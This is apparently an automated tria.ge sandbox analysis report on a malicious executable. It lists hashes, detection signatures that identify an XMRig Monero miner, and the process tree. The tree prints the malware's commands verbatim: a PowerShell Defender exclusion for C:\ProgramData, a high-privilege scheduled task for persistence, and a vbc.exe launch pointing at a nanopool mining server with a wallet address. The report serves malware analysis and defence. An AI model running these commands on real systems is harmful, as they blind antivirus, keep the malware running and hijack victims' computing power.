Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 13:10

General

  • Target

    file.exe

  • Size

    1.9MB

  • MD5

    d1949ae00330d3c0f7cc282d2f6952cc

  • SHA1

    f94a50cdd1aff1fe2f7f4135647df2a680ac3e79

  • SHA256

    0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7

  • SHA512

    0f1499ee262e56c4771490fee60c4d76ba8625b6b5004ca73be437c6f17e5a358237c03fc78da07c6a7043ef52252f73cdadd4635c5eef38dbe5cc3fd36b2730

  • SSDEEP

    24576:Nx2pKMUGjuNYmUeV5CMl307hOhkMIIj0VOyp2VmmBgbc2vLmmsanDJY++JyBBT9:Nx4U2mV6MV28m9vF2/2c29YjyBBx

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4836
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
        3⤵
        • Creates scheduled task(s)
        PID:3988
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2832

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1960-151-0x0000000002C40000-0x0000000002C83000-memory.dmp

    Filesize

    268KB

  • memory/1960-134-0x00007FF910940000-0x00007FF9109DE000-memory.dmp

    Filesize

    632KB

  • memory/1960-136-0x00007FF8F3BC0000-0x00007FF8F3C7D000-memory.dmp

    Filesize

    756KB

  • memory/1960-137-0x00007FF910670000-0x00007FF910811000-memory.dmp

    Filesize

    1.6MB

  • memory/1960-139-0x0000000000080000-0x000000000025E000-memory.dmp

    Filesize

    1.9MB

  • memory/1960-158-0x00007FF90DC40000-0x00007FF90DC7B000-memory.dmp

    Filesize

    236KB

  • memory/1960-138-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

    Filesize

    10.8MB

  • memory/1960-141-0x00007FF90F430000-0x00007FF90F45B000-memory.dmp

    Filesize

    172KB

  • memory/1960-142-0x0000000000080000-0x000000000025E000-memory.dmp

    Filesize

    1.9MB

  • memory/1960-143-0x00007FF8F2470000-0x00007FF8F25BE000-memory.dmp

    Filesize

    1.3MB

  • memory/1960-144-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

    Filesize

    10.8MB

  • memory/1960-145-0x00007FF90E870000-0x00007FF90E897000-memory.dmp

    Filesize

    156KB

  • memory/1960-157-0x00007FF9108D0000-0x00007FF91093B000-memory.dmp

    Filesize

    428KB

  • memory/1960-156-0x00007FF8EDBF0000-0x00007FF8EDCF2000-memory.dmp

    Filesize

    1.0MB

  • memory/1960-155-0x00007FF8EDBB0000-0x00007FF8EDBE5000-memory.dmp

    Filesize

    212KB

  • memory/1960-140-0x0000000002C40000-0x0000000002C83000-memory.dmp

    Filesize

    268KB

  • memory/1960-150-0x0000000000080000-0x000000000025E000-memory.dmp

    Filesize

    1.9MB

  • memory/1960-133-0x00007FF8F4750000-0x00007FF8F47FA000-memory.dmp

    Filesize

    680KB

  • memory/1960-135-0x00007FF90C790000-0x00007FF90C7A2000-memory.dmp

    Filesize

    72KB

  • memory/1960-152-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

    Filesize

    10.8MB

  • memory/2832-166-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2832-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2832-170-0x00000281E3FF0000-0x00000281E4010000-memory.dmp

    Filesize

    128KB

  • memory/2832-169-0x00000281E3FD0000-0x00000281E3FF0000-memory.dmp

    Filesize

    128KB

  • memory/2832-168-0x00000281E3FF0000-0x00000281E4010000-memory.dmp

    Filesize

    128KB

  • memory/2832-159-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2832-167-0x00000281E3FD0000-0x00000281E3FF0000-memory.dmp

    Filesize

    128KB

  • memory/2832-161-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2832-164-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2832-163-0x00000281E2580000-0x00000281E25A0000-memory.dmp

    Filesize

    128KB

  • memory/2832-165-0x00000281E3F70000-0x00000281E3FB0000-memory.dmp

    Filesize

    256KB

  • memory/4836-148-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

    Filesize

    10.8MB

  • memory/4836-149-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

    Filesize

    10.8MB

  • memory/4836-147-0x0000021D59850000-0x0000021D59872000-memory.dmp

    Filesize

    136KB